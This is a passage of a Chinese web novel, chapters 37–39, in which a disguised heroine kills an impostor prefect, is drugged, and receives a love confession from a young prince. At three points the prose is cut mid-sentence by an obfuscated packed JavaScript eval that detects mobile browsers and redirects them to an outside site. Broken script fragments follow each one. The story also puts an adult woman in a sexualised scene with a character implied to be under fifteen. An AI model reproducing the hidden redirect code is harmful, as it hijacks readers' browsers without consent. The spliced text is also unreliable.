“嗯?”钱钧明显有点不耐烦了。 伸头一刀,缩头一刀,韩濯眼一闭心一横,用越地口音回道:“奴家苏小红,是新来的。” 越地口音最是温软,再加上韩濯有意处理,带上了一点缠绵的戏韵,效果格外好,韩濯说完自己都吓了一跳,在心里怒赞:超常发挥,姐就是这么牛叉! 宋青瑛看了她一眼,吓得韩濯心脏差点跳出来,钱钧道:“听口音,不像蜀州人。” “奴家是临塘人士。” 钱钧点了点头,眼神色迷迷往韩濯衣襟里瞟。 韩濯心里怒骂这死家伙祖宗十八代,发誓等他露陷之后,把人劁了再挖眼珠子。 “可惜,我本还想邀钱兄那表弟同来,谁知他们竟然连夜便走了,看来是缘分不到。”王大人道。 钱钧叹了口气:“大人,您有所不知,我那表弟......不提也罢。” “钱兄可是有难言之隐?”王大人奇道:“愿闻其详。” 韩濯觉得这人有病,都难言之隐了还愿闻个屁的其详,不过她倒也想知道知道这□□钧是怎么编排自己的。 “我那表弟......着实是个混世魔王,成日里不思功名也就罢了,家里也不是供养不起,可他却终日沉浸于赌坊内,要我说,再大的家业也经不起他这么糟蹋,我姨母被他气得两年前撒手人寰,可他没有分毫收敛,若是手头紧缺,便动辄撒泼打滚,耍无赖冲这些远近亲戚讨要,昨日竟然找上了我,我就知道定然没有好事,这不,半夜三更跑到我的府上讨要钱财,我给他点银子打发了,便招呼都没打连夜离开蜀州,恐是怕我反悔才会如此。” 韩濯内心冷笑,编,真能编,要么说这人一个多月都没露馅,果然在某些方面是个人才。 王大人叹道:“没想到,那小郎君看着一表人才,腹内原来草莽,是我考虑不周了,好在今日有小韩公子从灌州来访,小韩公子,敢问你家驸马爷何时能来赏光?” 宋青瑛稳稳当当道:“二公子在灌州被事务缠身,一时抽身不得,但在京城就听过王刺史与钱大人大名,仰慕已久,特地托我备了薄礼拜访,不日便会与公主一同亲自前来拜会。” 王刺史怎么可能不明白这是在拍马屁,但听说公主也来,简直被欢喜冲昏头脑,心花怒放道:“小韩公子实在客气了,驸马爷有这份心,在下实在受宠若惊不敢领受,公主殿下千金之躯,臣等生怕我们这穷乡僻壤伺候不周,公主殿下有什么喜爱之物,臣等无不尽心。” 宋青瑛微微一笑,若有所思地看着韩濯为钱钧斟酒的手:“公主自小吃得素净,大人不必铺张,若说有什么喜爱的,可能是......” 王大人等着他下文。 “最近,格外喜欢桂花酥。” 韩濯手一抖,酒液沾了钱钧一胳膊。 “混账,醉春楼怎么叫你这么冒失的出来伺候人?”钱钧大骂。 照理来讲,普通姑娘早就跪下了,但韩濯根本没认真听钱钧说了啥,愣愣地杵在原地。 宋青瑛认出她了。 “问你话呢!你......”说着,钱钧伸手,把韩濯拽了过来,面纱也掀了。 宋青瑛呼吸一滞。 韩濯才反应过来,道:“大人息怒,奴家帮您擦一擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小韩公子,你与她认识?”王大人见了这情况,忍不住问道。寻常人哪里会管一个秦楼楚馆的姑娘挨打不挨打,更不会因为这个下钱大人面子。 宋青瑛眼中的怒意转瞬即逝。除了韩濯似乎没人注意到,他平静道:“非也,只是这位姑娘实在是很像我一位故人。” 钱钧脸色铁青,但也不能公开和宋青瑛对着干,一声冷笑道:“一个娼妓而已,小韩公子若是要,也不必来抢,今晚我让给你便是,她虽有几分姿色,但笨得可以,我还怕她伺候不好。” 宋青瑛冷了脸。 韩濯回过神,差点错过这大好时机,赶紧给了宋青瑛一个眼神,对钱钧道:“是奴家蠢笨,弄脏了大人的衣袍,搅扰了诸位的兴致,奴家为诸位再斟一杯,请诸位大人有大量,莫要和奴家一般见识。” 说着,先给王大人斟了一杯酒,然后用平生能做出最扭捏的姿态走到了钱钧面前,强压下了恶心,给自己打气:最后一恶心了,成败在此一举! “大人,奴家粗手笨脚,是第一回出来见客,让您耻笑了,大人也别嫌弃奴家,这一杯,奴家亲自喂您,今夜......请大人务必赏光,头一回就遭人嫌,妈妈会怪罪......” 说着,低头不语,似要垂泪。 钱钧似乎满意了,牵过韩濯的手往自己唇边送,一边还摩挲着她的指尖,韩濯自以为大功告成时,那人却在酒液即将沾唇时停了下来。 “你在酒里加了醉魂散?” 韩濯心头一凛,随着酒杯坠地,迅速退出了几丈远。 那喝了韩濯所斟酒的王大人应声而倒,脸直接砸在了桌子上不省人事。 “指上的剑茧。”钱钧沉声道:“你是什么人?” 37. 假凤虚凰 见突生异变,醉春楼内的莺莺燕燕轰地做鸟兽散,偌大的房间里,只剩下韩宋二人和“钱钧”,再加上个不省人事的王大人。婉音竟然也没走,继续抱着琵琶弹着未尽之曲,对周遭之事恍若未闻,似是已入超然之境。 韩濯也不再装了,立刻换了一张面皮,目光沉沉,连声音都染上了杀意:“来杀你的人!” 韩濯从裙下抽出短刀,她之前生怕自己此行出了什么岔子,便将短刀绑在了腿上,此时正好用得上,二话不说便猛地冲上前去。 那“钱钧”不知功夫几何,见她来势汹汹,拿起桌上的木盘一挡,韩濯来不及撤刀,寒刃瞬间穿透了木盘,离他的双眼只有寸余距离。 “钱钧”吓出了一声冷汗,趁着韩濯无刀可用,刚丢下木盘绕柱遁走,便听宋青瑛喝道:“接着!” 韩濯应声回首,接过了宋青瑛原来佩在腰间的刀,又向“钱钧”冲去。 “你们是一伙儿的!” “钱钧”失声道。 韩濯一声冷笑,逼将上来,“钱钧”既无兵刃在手,一时生了急智,朝仍在弹奏的婉音扑去。 谁知还没到近前,婉音却飘忽着站了起来,看也没看他一眼,迅速离开了原来的位置,手中曲子不停,只是一曲终了,换成了杀机四伏的“十面埋伏”。 倒是很应景。 “钱钧”大惊,骂了一句娘,边逃边道:“冤有头债有主,姑娘为何与我钱刺史有仇怨,不妨坐下来谈一谈?” 韩濯冷笑,此人明里暗里试探,就是为了搞明白自己是冲着真正的钱刺史来的,还是冲着他自己来的。 早知道冒名顶替还要防两方仇家,也不知道他后悔不后悔。 韩濯也不再藏掖,直接摊牌道:“呵,自己家老窝都被人端了,还在这假模假样地装朝廷命官,入戏太深,可别忘了自己是谁。” “钱钧”大惊:“你是谁?你们究竟是谁?” 宋青瑛道:“周大福已经死透了,你算得上幸运,不在灵山村,倒是多活了几日。” “钱钧”心里一凉。 韩濯已到了近前。 这人虽然块头不小,却意外地十分灵活,不住东躲西闪,举起凳子来胡搅蛮缠地挡,大有乱拳打死老师傅的气势。一边抡,一边怪叫。 韩濯哪里见过人这样打架,简直气得想笑,更何况她暂时不打算取人性命,还是要留个活口证据,是以虽然二人实力差距悬殊,也难免左支右拙。 宋青瑛在一旁看得有些心惊肉跳,韩濯的伤才养了几日,就这么上蹿下跳,这么下去怎么行? “你盗取命官告身,冒名顶替赴任,西京早有发觉,派了人暗中调查,真正的钱刺史我们已经救了出来,我劝你乖乖束手就擒,或许还留得你一条命在。” 那假的钱钧却突然神色暴戾:“若不是生在灵山村,凭我之才,我胜过那废物钱钧一千倍一万倍,难不成还做不了这小小刺史?” 宋青瑛一声冷笑:“你若做得好倒也罢了,如今灌州遍地流民,哀鸿遍野,你这个刺史干脆做了甩手掌柜,有什么脸面说出这等冠冕堂皇的话?” 钱钧道:“蜀州来的流民,自然归蜀州管,关我这灌州的官什么事?” 韩濯简直要被这不要脸的说辞气笑了,她道:“我大齐的官员自小读的是:民为贵,社稷次之,君为轻。就连圣上在民生面前都要靠后站,你算老几?就你这种只会拍马屁巴结上司的酒色之徒,还敢称自己有‘才’?废物一个,还是回娘胎里念千字文算了。” 钱钧涨红了脸道:“你一介女流懂什么安邦定国?根本不懂男子立世之艰......” 韩濯没听他讲屁话,找准时机飞身一跃,将那挡在身前乱挥的凳子踹开了。 钱钧方才盯着韩濯看了半晌,此刻突然惊呼:“是你!你竟然是个女人!” 韩濯心下一沉。 方才钱钧听韩濯恢复了常态的声音,便觉有些熟悉,刚才韩濯到了近前,才猛然把她和昨日的“表弟”联系到了一起。 韩濯将他一脚踹翻在地,居高临下地踩上了他的脸。 “认罪!我认!你......” “不好意思,你说晚了。”韩濯轻轻地用只有两个人能听清的声音道:“你说,我要不要先挖了你这乱看的眼睛,割了你乱讲话的舌头,劁了之后,再取你性命,会不会更有意思?” 他既然认出自己,那便不可能留活口,若是捅到王大人处,可就真是难办了。 假的“钱钧”睁大了眼。 “阿瑛,你先出去一下。”韩濯尽量放缓了声音道。 宋青瑛皱了皱眉,没动,他知道韩濯这是和在灵山村那时一样,照顾他年纪小,尽量不教他见血。 “无妨,清之你......小心!” 韩濯猛地转头,正对上脚下那人猛地从身上掏出一包粉末,朝她掷去。 韩濯当机立断没有躲,将手中长刀一送,脚下人的脖子瞬间被捅了个对穿。半面衣裙溅了血。 那人吐出几口血沫,抽搐几下,死透了。 宋青瑛急忙奔来,把被呛得不停咳嗽的韩濯扶着倚靠到了身上:“清之,清之?” 韩濯眼睛被血糊了一片,知晓这画面肯定十分血腥,不忍心教宋青瑛再看,轻轻挣道:“我没事,阿瑛先松开我,怪脏的。” 宋青瑛心里焦急:“脏什么脏?你也太过莽撞了,伤还没好,一句话也不说就走,一包桂花酥就指望我不和你计较?” 韩濯轻轻笑了一下:“真没事,他就是个草包,可惜人证没了,有些麻烦。” “我已经教李三三带着人去张大成那边找人帮忙,约莫明后日便能将真正的钱大人送到灌州。” 韩濯惊讶道:“你知道?” 宋青瑛道:“你走后我听朗参军说起此事,想起灵山村那个钱老爷,便问了钱刺史告身上的凭据,面容依稀对的上,因此有了猜测。” 韩濯点头:“还是你周到,等一下我们......唔......” 不知怎地,一股生平未有的热意涌了上来,韩濯觉得奇怪,但这热意越来越甚,甚至到了无法忽视的程度。 “清之?怎么了?” “没事...就是有一点......” “跟我来。” 宋青瑛抬头一看,见婉音抱着琵琶鬼一般出现在了眼前:“到我房间去。” 宋青瑛不敢不应,扶着韩濯跟了过去。 “怎么回事?” 到了屋内,韩濯脸上已泛起不正常的潮红,香粉都没盖住。 婉音当机立断道:“那人甩的是chun药。” ...... 韩濯脸腾地一下炸了。 “他爹个......”骂到一半,反应过来宋青瑛还在,硬生生把脏字咽了。 宋青瑛急道:“那怎么办?” 婉音道:“凉拌,那人可能就是为了脱身随便甩了一包,这东西劲虽大,却没什么毒性,倒也死不了,就是难受些,要么发泄出来,要么靠忍。” 韩濯此时才觉得有点忍不了:“姑娘,劳烦你叫一桶凉水。” 婉音道:“杯水车薪,有点作用但不多,确定要?” 韩濯点头,一边点头,一边旁若无人地开始脱衣裳,实在太热了,反正屋里头都是姑娘,没啥大不了。 宋青瑛如临大敌,背过身去倒了三步,还不忘红着脸道:“还是别泡凉水,你伤还没好......” 婉音都到了门口,若有所思道:“也是,要不我帮你叫个我们楼里长得端正的男人来?你喜欢什么样的都有,不收你钱算我账上,肯定伺候得......” 宋青瑛脸由红变黑,但也没出声阻止,只是指甲全陷到了肉里,快掐出血来。 “不必!”韩濯对着宋青瑛莫名心虚,她道:“还是凉水吧。” “哦我以为你是个江湖人不会很在意......”可随后她瞥见了宋青瑛的眼神,电光火石间,脑子里蹦出了一个最大的可能性:“哦!你们两个......我知道了,那你们两个解决,凉水还是算了,你那肩上伤口挺深的,最好少碰水,我告辞!” “姑娘!姐姐......你...不是......” 婉音把门关上了。 “肩上?”宋青瑛急道:“你又受伤了?” 说完顾不得韩濯脱衣裳,转身过来瞧。 韩濯好歹还挂着肚兜,被宋青瑛按住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872188|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查看。 果不其然,肩膀上一道箭伤,伤口不大,却极深,似乎再严重些就会贯穿。 宋青瑛不说话了。 韩濯刚才还有点不好意思,但后来觉得宋青瑛又不是没看过,姑娘家家也没什么,便大剌剌敞着衣服,也到底没躲。 “阿瑛,就是袖箭,不大的,也不严重,比那腰上的要......” 韩濯也哑巴了。 宋青瑛低着头,看不清脸,几滴水从他脸上滑落,洇湿了韩濯刚褪下来的裙子。 “殿下......” “你是不是觉得我不会在乎?”宋青瑛轻轻道。 韩濯顾不得别的,伸手去擦宋青瑛的脸:“不哭不哭,我这不是没事吗,我......” “那下次呢?”宋青瑛抬头。 “下次会怎么样,又是你孤身去闯龙潭虎穴,然后让我当未亡人给你守丧?” 这话有点严重了。 “殿下,不至于如此吧,我保证下次做什么都告诉你,乖,不哭......” 宋青瑛打开了她的手。 “不要把我当小孩哄。” 韩濯身上难受得要命,那股子邪火一阵阵往不对劲的地方钻,宋青瑛这边还这么难伺候,好脾气着无奈笑道:“你不是小孩是什么?” 韩濯觉得今天得把话讲明白:“阿瑛,你年纪小,对人产生些依赖的心不难理解,但你得分清是哪种感情。我......” “我分得清。”宋青瑛拉住了她的手:“清之,我分得清的,上一回我酒劲冲昏头脑,一时冲动,是我唐突了,我对你不住,此后我绝不会这样,但我如果不喜欢你,也做不来这种事。” 宋青瑛难得直白,也不知道是什么环境催化,打通了他的任督二脉,韩濯被这一番话弄得头皮一炸,更热了:“殿下,可是臣......不对,殿下若是喜欢女人,不妨等大了再找合适的,你模样性子才华都是一等一的好,不愁找不到可心人。臣喜欢男人,实在无福与殿下......” “意思是,我是男人,就可以?” 韩濯被他搅得心烦意乱,方才还清醒的神智被药劲搞得模糊了:“都什么时候了,还扯这个,殿下......劳烦您大驾,出去一会儿好不好?” 宋青瑛拉住了韩濯:“我没有胡说。” “清之,你知道我不是殿下,可我也不是女人。” 我是傻了还是聋了还是宋青瑛这个别扭精终于疯了? 韩濯冒出了一股火气,简直想把这家伙踹下床,抬头却对上了宋青瑛的眼睛。 毫无杂质的眼睛。 他是认真的。 韩濯彻底傻了。 “我...我不能给你看......但你一定要看的话也行,我......”很难说现在韩濯和宋青瑛的脸谁更红一点。 韩濯站起身,顾不得身上就穿了肚兜亵裤,狠狠甩了甩头,给了自己两巴掌。 “清之!” 宋青瑛伸手去拦,把韩濯两只还想继续打的胳膊拦住了。 韩濯现在本就脱力,被宋青瑛一拦差点站不住,踉跄几下,不小心摸上了宋青瑛的...... 韩濯迷茫了一瞬间,骤然反应过来,这货他大爷的说的是真的! 那玩意...... 宋青瑛小小年纪,还挺精神。 靠! “滚!” 韩濯站定,红着眼低声道。 “可是你......” “你大爷的姐是成年女人,不能用手吗?出去!” 其实宋青瑛没那个意思,他可不敢对韩濯做什么,一来趁人之危非君子,二来他也打不过,只是想着这种情况总不放心她一个人应付,又话赶话到了这步,好不容易才狠下心剖白。 “我......” “出去!”韩濯这回改喊了:“你要是再不出去,我们两个就真的再没半点可能!” 宋青瑛灰溜溜跑了。 临了在门口还道:“出事一定叫我......” 韩濯有气无力地躺下了,犹疑片刻拿了块布巾塞在嘴里,狠了狠心,手往下面探去。 自己动手,丰衣足食。 38. 寤寐思服 这可怎么办? 韩濯出了一场淋漓的大汗,好歹结束后平复了片刻呼吸,这药劲儿的确是下去了。 她躺在床上,满脑子糊涂账。 宋青瑛这小屁孩玩真的! 长得跟玉面菩萨似的,没成想是个男菩萨,方才还......小小年纪不知道脑子里装了什么货,简直忒有出息! 那他之前看自己同人文到底是出于什么心理? 他身上那么香,真是男的? 那个兰心蕙质温柔体贴冰雪聪明的漂亮小公主,将来竟然会成为和那些顶着三天没洗的头在早八课上散发气味的臭男人相同的物种! 简直岂有此理! 韩濯觉得离谱,气得脑子都阵阵发懵。 之前扭扭捏捏三棒子打不出来一个屁来,现在说话倒是一股脑往外倒,姚申这个成事不足败事有余的书呆子细狗还叫自己主动?主动个屁!他骗自己骗了那么久,脾气再好也不能给他好脸色! 韩濯此刻已经完全忘了之前自己同样也隐瞒宋青瑛许久的事,狠狠擦了一把脸,发泄一般狠狠穿上了衣服,差点把裤子踹个洞。 “笃笃”两声,有人敲门。 韩濯冷着脸把门打开了。 好歹是婉音,韩濯见是她,揉了揉僵硬的脸,硬堆出一个笑。 “我看他半路被你赶出来了,是不是技术不大行?”婉音用一种稀松平常的语气道:“看你模样应该是没事了......喏,衣裳。” 韩濯接了过去,抖开瞧了瞧,是一件天青色祥云纹蜀锦袍,漂亮是漂亮,但看着就价格不菲,韩濯道谢的话刚要开口,就被婉音截胡:“他买的,现在还呆在楼下,不好意思送。” ...... 韩濯有一瞬间的冲动,想把这袍子扔了,但到底没舍得,非常没骨气地收了。 原来的衣裳脏破得不成样子,婉音这边又没有合适的男式衣服,人在屋檐下,不得不低头,她咬了咬牙,路过小窗时朝楼下看了一眼。 某人正抬头盯着自己这儿的窗子,神色一脸怅然,夜风吹起他的袍角,竟有种萧瑟的味道,可对上开窗的韩濯时,那死水一般的脸上竟然粲然生花,其光华简直可以与中秋之月争上一争,其中讨好之意味,狗腿之程度,看得韩濯眼角一抽。 韩濯冷漠地“砰”一声关上了窗户。 “吵架了?”婉音笑眯眯道。 “哼。”韩濯从鼻孔里哼了一声,她正哗啦哗啦地洗脸,红的水黑的水流下来,洗尽铅华,露出原本俊秀而非妩媚的脸来。 “嗯......我看他年纪还小,当然了,你年纪好像也不大,多磨合磨合就好了,要给年轻人机会,不练就更不行,你要是有需要,我这儿还有点助兴的......” “打住!”韩濯道,她已经换好了衣裳正在束发,眼瞧着又是一个俊俏公子哥:“什么和什么......我不是因为这档子事生气。” “那是因为什么?”婉音饶有兴致道,说着将手中提着的食盒打开,将里面的东西递给韩濯。 竟是一块月饼。 是啊,今日中秋。 韩濯叹了口气道谢,愣了片刻才道:“他骗我。” 婉音挑起了眉。 “他......”韩濯憋了片刻:“总之,他不是什么好东西。” 婉音被她逗笑了:“你完了。” “什么?”韩濯一噎。 婉音带着笑意道:“我还以为你们江湖人,只谈露水姻缘,不耽于一生一世一双人,只求最后好聚好散,现在看姑娘你,倒也并非如此。” “什么跟什么?”韩濯觉得无奈,这一个两个脑子到底是怎么长的,怎么好像自己和他们接不在一个回路? “那我问你,”婉音道:“他骗你,你打算怎么办?” “那自然是......” 韩濯卡壳了。 对啊,自己能怎么办? 打不得骂不得,表面看外人还肯定觉得是自己理亏,也太憋屈了! 当然了,如果韩濯表态,让宋青瑛离自己远一点,他肯定无有不依的,但是...... 韩濯突然就想起来他腮边挂着的眼泪,晶莹的,柔软的,和人一样...... 婉音就不动声色地看着韩濯的脸,不知她想到了什么,耳尖红了,随后喃喃道:“他才多大,我不能......” 伴着婉音的笑声,韩濯回过神来,反应过来自己说了什么,瞬间满脸通红:“我是说,我绝对不能和小孩子一般见识,我......” 婉音拍了拍她的肩膀,同情道:“我知道,我明白。” 不,你不明白! 韩濯绝望。 “你先歇歇,折腾这么久,该吃点东西了,我先出去,有需要叫我。” 韩濯下意识咬下了口中月饼,可能是真的饿了,韩濯之前竟然没意识到甜得发腻的月饼竟然这么好吃。 “对了。”婉音站在门口,似笑非笑:“这月饼也是他买的,你在房间里待的一个多时辰,他倒没闲着。” 韩濯嘴里的月饼突然就不香了。 想起来买衣服之前,那小公子还在门口踱来踱去,好像自家老婆要生了似的,婉音暗道。 当然为了给韩濯留面子,这句话她没说出口,韩濯只目送着婉音掩唇浅笑着,轻烟一般飘走了。 这都什么事啊! / 韩濯下楼时,宋青瑛正趴在一楼的桌子上浅眠,他应当是很累了,说不定昨天连夜赶路,一晚没睡,眼下一片青黑。 听见细微的响动,他睫毛颤了颤,清醒过来,眼前现出韩濯天青色朦胧的身影,他飞也似地迅速站了起来,碰倒了身后一排板凳,叮叮咣咣地响。 韩濯一分眼神也没施舍给他,旁若无人地走了出去。 吴钩立在醉春楼外,带着几个人把楼封了,像一幢又高又壮的门神。 见了韩濯,他忙开口道:“二公子。” 韩濯点了点头,因着宋青瑛在一旁,她双唇紧绷,一丝笑意也无,宋青瑛跟在她身后,大气也不敢喘,吴钩第一次从宋青瑛这粉妆玉琢的脸上看出了两个大大的“窝囊”,心下啧啧称奇。 “吴钩兄弟,那王刺史呢?”韩濯问道。 “依着殿下吩咐,由几个医师护着送回了府上,也派人盯着了。” 韩濯嘴角不受控制地抽了抽:“那贼人的尸首处理干净,别让人......” “殿下吩咐过了,已经处理好了,殿下不放心假手他人,是属下亲自做的,没有第二个人看见。” “李三三她们......” “殿下已接到她们到灌州的信,殿下算好了,说等天亮就能到蜀州。” 这个吃里爬外的傻大个儿!韩濯暗骂。 “殿下殿下殿下,你听殿下的还是我的?”韩濯没控制住甩了脸子,也没等吴钩回答,转头就走。 吴钩莫名其妙。 但殿下尾巴一般跟着韩濯走了,没有丝毫委屈的样子。 “这是又吵架了?”吴钩一边杵成一根柱子,一边想道: “殿下糊涂,何必这样低声下气,只要掉两颗金豆豆,二公子还狠得下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881705|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就怪了。” “清之,清之......” 韩濯越走越快,宋青瑛在后面叫,又不敢碰她,只能跟在屁股后追。 韩濯忽然停下了脚步,宋青瑛连忙刹车,差点撞上,抬头对上韩濯面无表情的脸时,心脏紧张地怦怦乱跳。 “跟着我做什么?” “我......”宋青瑛盯着韩濯的脸,愣愣道:“我道歉,我错了,对不起。” “就这些?”韩濯挑眉。 “嗯。” 韩濯转身就走。 “等一下!”宋青瑛急道,他一个箭步闯到了韩濯面前,拦住了她的去路。 韩濯沉默地看着他,一张脸写满了:有话快说,有屁快放。 “还有......清之,我...我想问问你的意思。” “什么我的意思?” 宋青瑛怕她嫌自己磨磨唧唧地太烦人,一闭眼一口气说道:“清之之前说,如果我不出去,我们就再也没有一点点可能,那既然我出去了,我们有没有......” 你倒挺会抓重点! “有什么?”韩濯继续面无表情问道。 宋青瑛急了。 “清之,求你了,给我个痛快,别折磨我......” 韩濯抱起了肩膀:“你想怎样?” 宋青瑛小心瞧着她的眼神:“我......我嫁了你,以后听你的话,我们能不能,不做表面夫妻?” 看韩濯没有表示,宋青瑛又小声补充道:“你......你不愿意,也没关系,我离远些就是了,你别不高兴。药我给你买了好的,明日教李三三再给你看看,不论怎么样,别伤了身体......” 声音越来越小。 好一套丝滑的招数!韩濯暗骂。 可偏偏她好像还吃这一套。 韩清之啊韩清之,你贱不贱! 宋青瑛哪里知道韩濯此时内心的波涛汹涌,整个人都好像半月无雨露滋润的花儿一样蔫儿了:“那我还是......” “你还是长长个子再说吧。” 宋青瑛抬头,对上了韩濯嘴角有些讥讽的笑:“没萝卜头大,怪会想。” 声音听起来心情不错。 宋青瑛脸红了,品味片刻,却突然欣喜道:“清之,你的意思是不是......” 韩濯跨着大步走了,笑着骂了一句:“小孽障。” 宋青瑛厚着脸皮贴了过去:“清之,其实我比我妹妹大一岁的,我很快就及笄了......” “行了,我要回去办正事,少掰扯这个。”韩濯甩了甩手:“这种事下不为例,劝你还有什么秘密尽快告诉我,今天算你有豁免权,过了这村没这店。” 宋青瑛拼命摇头:“没有了,真的没有了。” 随后贴了上去:“清之,还有什么事,该打点的我都打点好了,若是有什么其他疏漏的还是交给我去做吧,你还伤着早些睡......” “这你可帮不了。”韩濯一边走一边道:“我查了蜀州旧志,从前这儿可是天府之国,富饶得很,少有旱涝,而近三年来,蜀州却旱灾频发,实在奇怪。” “清之的意思是......可收成这事,自然是天时占了七分,虽然接连三年,但也不算特别罕见。” “有时人和是能成全天时的。”韩濯停了下来。 看着样子,显然是已经有了定论。 “似乎我朝开国以来,对各州工事的管理誊录都不严谨。”韩濯道。 “我认为是岷江堰出了问题。” 岷江堰? 39. 崎岖坎途 最初,岷江北源长茂岭,经流多县向南汇入长江,数百年前,蜀郡太守陆海集先人之大成,在任期间兴办水利,开凿险滩,挖山引水,岷江堰始成,自此岷江一分二,二分四......百川入蜀,东引灌溉千百郡县,自此成全了蜀州天府之国之美誉。 但自本朝以来,蜀州洪涝灾害频发,曾经人人趋之若鹜的宝地早已不复昔日风光,只靠着百代流传下来的千万诗篇和风景遗迹勉强支撑着未燃烧殆尽的繁荣。 韩濯合上书卷,闭上了眼睛思虑万千。 宋青瑛敲了两声门,小心翼翼地进来了。 “清之,现在有些太晚了,多少睡一会儿,明日还要去见王大人。” 韩濯应了一声,随口敷衍了两句,眉头又皱了起来。 “怎么了?难道还没有头绪?” “不。” 韩濯答道。 她伸手接了宋青瑛端来的茶,开口道:“岷江堰自古以来工事如何运作,这墨娘子给的书《蜀国河图志》里面写得十分清楚,百年来经由灌州蜀州两州维护,从未出过问题,偏偏现在不好用了。” “我去查了旧志,发现我朝只记录旱涝之灾,却从来未提岷江堰的修葺工事,若不是墨娘子的书,我也查不到关于岷江堰的记录。除却灌州岷江附近的石碑,其他的痕迹都未尝找见,这些文字记录都到哪里去了?” 宋青瑛思考片刻也喃喃道:“若仅仅因为我朝之前的百年割据乱世而遗失,也不至于一点踪迹也没有。” 韩濯盯着飘摇的烛火,眨了眨酸涩的眼睛:“我猜,这回不是人祸,是天灾。” 天灾? 宋青瑛眨了眨眼。 “阿瑛你看,”说着,韩濯将旧志摊开。 听闻韩濯重新叫自己阿瑛,宋青瑛一颗心倏然飞了起来,欢天喜地地应了一声,蹭到了近前。脸颊距韩濯的手只在毫厘之间,若再近些,他的鼻息便轻轻搔上了韩濯拇指上的红痣。 韩濯皱了皱眉头,把宋青瑛的脸推得远了些:“小小年纪莫要熬成短视,看书离得远些。” 宋青瑛脸被移开,就着脸颊上的触感回味了一会儿,方才静下心来,听毫不知情的韩濯继续说话。 “大齐建国之初,灌州蜀州交界之处,曾发生过地动。” 地动即地震,届时地崩山摧,百川改道,百丈深渊合并成峰峦,若是如此,那先人所遗留下来的有关岷江堰的遗迹全部被葬于山峰之中,也未尝没有可能。 “如此说来,正是地崩山摧,才使得从前的山川河流不复原样。” “岷江堰的修筑本就是因地制宜,此一番之后未曾完善,才致使如今......”韩濯补充道。 “我猜最大的可能性,是地动时原本将岷江引流至蜀州的玉垒山瓶口被阻塞。”韩濯继续道:“若要重新启用岷江堰,要做的第一件事便是将这瓶口重新挖开。” 宋青瑛一怔,挖山填海,谈何容易,更何况韩濯现在并无实权,只能在灌州当一个挂名武官,在这灌州蜀州交界之处重修岷江堰劳心劳力,不知要动用多少人力钱财。 而她现在既没有钱也没有权。 韩濯也叹了一口气。 “难啊......”韩濯轻叹一声,困倦这时才涌了上来。 继续思考估计也没什么用处了,韩濯闭了眼想道,不如先睡一会儿。 “清之。” 宋青瑛轻声道。 “什么?”韩濯懒懒地抬了眼。 “既然难,还做么?” 韩濯沉默片刻,突然笑出了声:“因为难,便不做,这世上恐怕没几件事能做成。” “成一事,活百人,换了阿瑛这观音座下的小菩萨来抉择,你做是不做。” 宋青瑛颔首,微微笑道:“自然。” 韩濯也笑了,轻轻念道:“‘朱门酒肉臭,路有冻死骨①......’,杜拾遗的诗,我竟今日才......” 说着,她缓缓闭上了眼。 终究是不平。 宋青瑛看了她片刻道:“这件事或许还要在王大人处下功夫。” “嗯?”韩濯没睁眼,迷糊道:“就他那个只知在花街柳巷花天酒地的贪官,我可不觉得他愿意出钱帮我们做这件事。” “他是不愿意。”宋青瑛笑了笑:“但有时,他不得不愿意。” 韩濯突然精神了,一屁股坐起来:“什么叫不得不?阿瑛,你有主意?” “我已经以长宁公主的名义写了奏疏,”宋青瑛笑了笑:“看来还需要再改一改。” “你怎么说的?”韩濯追问。 “我怎么写不重要,还需要明日王刺史来看。”宋青瑛道:“假的钱钧已死,真的钱钧精神虽然已经失常,却还活着,自然是要被姚申带回京城复命的,那王刺史还指望着靠姚申来和张太师有联系,当然会对他恭敬小心。” 韩濯没太抓住重点,有些迷茫。 “清之你猜,这消息经姚申传到西京城,知道一个行为粗陋的山贼冒充刺史一月有余,而王大人和他整日厮混在一处都未曾发觉,那皇上会不会对王大人满意?” 韩濯猛然反映过来。 出了这种事,莫说王大人自己面上无光,传出去,这大齐的官制历法何尝不会遭人笑话。王大人想保住自己的乌纱帽,自然不能坐以待毙。 长宁公主的金口玉言,对王大人来说,自然是救命稻草。 韩濯惊讶地看了一眼宋青瑛,不亏是天家来的,政治嗅觉一等一的敏锐。 “阿瑛是想借此机会,在那王大人身上刮些油水?” 宋青瑛笑道:“还不止此事呢,蜀州赈灾的钱粮王大人贪了多少,要让他乖乖吐出来。” 韩濯盯着宋青瑛瞧了良久,心下百转,宋青瑛被她盯了半天,一抹红色悄悄爬了上去,终于忍不住道:“清之,你之前盯着我瞧,我不好做其他妄想,但如今你......” 韩濯惊讶地看向他:“如今我怎样?” 宋青瑛忍了半晌:“你这样看我,我忍不住想......” “想什么?”韩濯嘴角含笑。 宋青瑛有些恼:“你明明知道!” 